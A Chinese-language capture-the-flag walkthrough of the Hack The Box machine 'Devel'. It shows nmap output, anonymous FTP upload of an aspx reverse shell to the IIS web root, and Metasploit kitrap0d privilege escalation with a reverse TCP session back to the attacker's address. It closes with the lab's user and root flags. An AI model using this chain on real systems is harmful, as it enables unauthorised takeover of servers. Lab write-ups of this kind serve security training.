学到的技能
-
识别易受攻击的服务
-
利用弱凭据
-
基本的Windows权限提升技术
首先扫描靶机
# nmap -sC -sV -T5 -Pn 10.10.10.5
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-20 10:09 CST
Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.00% done; ETC: 10:12 (0:01:26 remaining)
Nmap scan report for 10.10.10.5
Host is up (0.32s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
open ftp Microsoft ftpd
ftp-anon: Anonymous FTP login allowed (FTP code 230)
03-18-17 02:06AM <DIR> aspnet_client
07-20-23 02:24AM 2779 backup.aspx
03-17-17 05:37PM 689 iisstart.htm
07-20-23 05:07AM <DIR> PSVIYDJQWP
07-20-23 05:10AM <DIR> QCBEIJECBS
07-20-23 03:07AM 2764 reverse-shell.aspx
03-17-17 05:37PM 184946 welcome.png
05:08AM <DIR> XCUBJAZTJO
ftp-syst:
SYST: Windows_NT
open http Microsoft IIS httpd 7.5
Microsoft-IIS/7.5 :
IIS7 :
http-methods:
Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
扫描出2个端口,其中有一个ftp服务的内容已经列举出来了,尝试使用anonymous用户密码登录一下
# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:uu): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ls
229 Entering Extended Passive Mode (|||49173|)
125 Data connection already open; Transfer starting.
02:06AM <DIR> aspnet_client
02:24AM 2779 backup.aspx
05:37PM 689 iisstart.htm
05:07AM <DIR> PSVIYDJQWP
05:10AM <DIR> QCBEIJECBS
03:07AM 2764 reverse-shell.aspx
05:37PM 184946 welcome.png
05:08AM <DIR> XCUBJAZTJO
226 Transfer complete.
ftp>
成功登录进去了,里面有几个iis的文件,猜测是iis服务的文件夹,尝试上传一个文件试试
ftp> put 43809.txt
local: 43809.txt remote: 43809.txt
229 Entering Extended Passive Mode (|||49177|)
125 Data connection already open; Transfer starting.
100% |****************************************************************************************************************************************************************| 9260 7.00 MiB/s --:-- ETA
226 Transfer complete.
9260 bytes sent in 00:00 (14.40 KiB/s)
ftp>
看来可以上传的,然后打开80端口,直接输入刚刚上传的文件
原来是可以读取的,说明该anonymous有对iis文件夹有读写的权限,所以上传一个phpshell,反弹链接,上传了php格式 的shell竟然被删除了
对php格式可能进行了限制,换一个aspx格式的shell试试
成功拿到shell了,现在是iis用户,接下来要提权,进入shell后,会发现是在c:windowssystem32inetsrv目录下
工作目录设置为c:windowssystem32inetsrv,iis用户没有写入的权限,先进入c:windowsTEMP,因为是在meterpreter的接口,Metasploit的Windows权限提升模块中有一个需要将文件写入目标,之前得到的是window的x86的结构,所以使用local_exploit_suggester模块或许枚举到提权
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 186 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.10.10.5 - Valid modules for session 1:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
2 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
3 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
4 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
5 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
7 exploit/windows/local/ms15_004_tswbproxy Yes The service is running, but could not be validated.
8 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
9 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
10 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
11 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
12 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable.
13 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
14 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
15 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
16 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
17 exploit/windows/local/always_install_elevated No The target is not exploitable.
枚举到了这么多,那我直接使用exploit/windows/local/bypassuac_eventvwr模块提权
由于这iis用户不在admin组里面,这模块无法使用,那就换一个,换成exploit/windows/local/ms10_015_kitrap0d
msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/ms10_015_kitrap0d) > set LHOST tun0
LHOST => 10.10.14.13
msf6 exploit(windows/local/ms10_015_kitrap0d) > run
Started reverse TCP handler on 10.10.14.13:4444
Reflectively injecting payload and triggering the bug...
Launching msiexec to host the DLL...
Process 3484 launched.
Reflectively injecting the DLL into 3484...
Exploit finished, wait for (hopefully privileged) payload execution to complete.
Sending stage (175686 bytes) to 10.10.10.5
Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.5:49185) at 2023-07-20 11:07:31 +0800
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter >
成功拿到admin权限了,拿到了user flag跟root flag
user flag:bea0bc15edb5724527ff82fe17e2113d
root flag:1853a1ab16f22c3fab3add344514206c
C:UsersAdministratorDesktop>type root.txt
type root.txt
1853a1ab16f22c3fab3add344514206c
C:UsersAdministratorDesktop>type C:UsersbabisDesktopuser.txt
type C:UsersbabisDesktopuser.txt
bea0bc15edb5724527ff82fe17e2113d
C:UsersAdministratorDesktop>
原文始发于微信公众号(Jiyou too beautiful):HTB-Devel笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论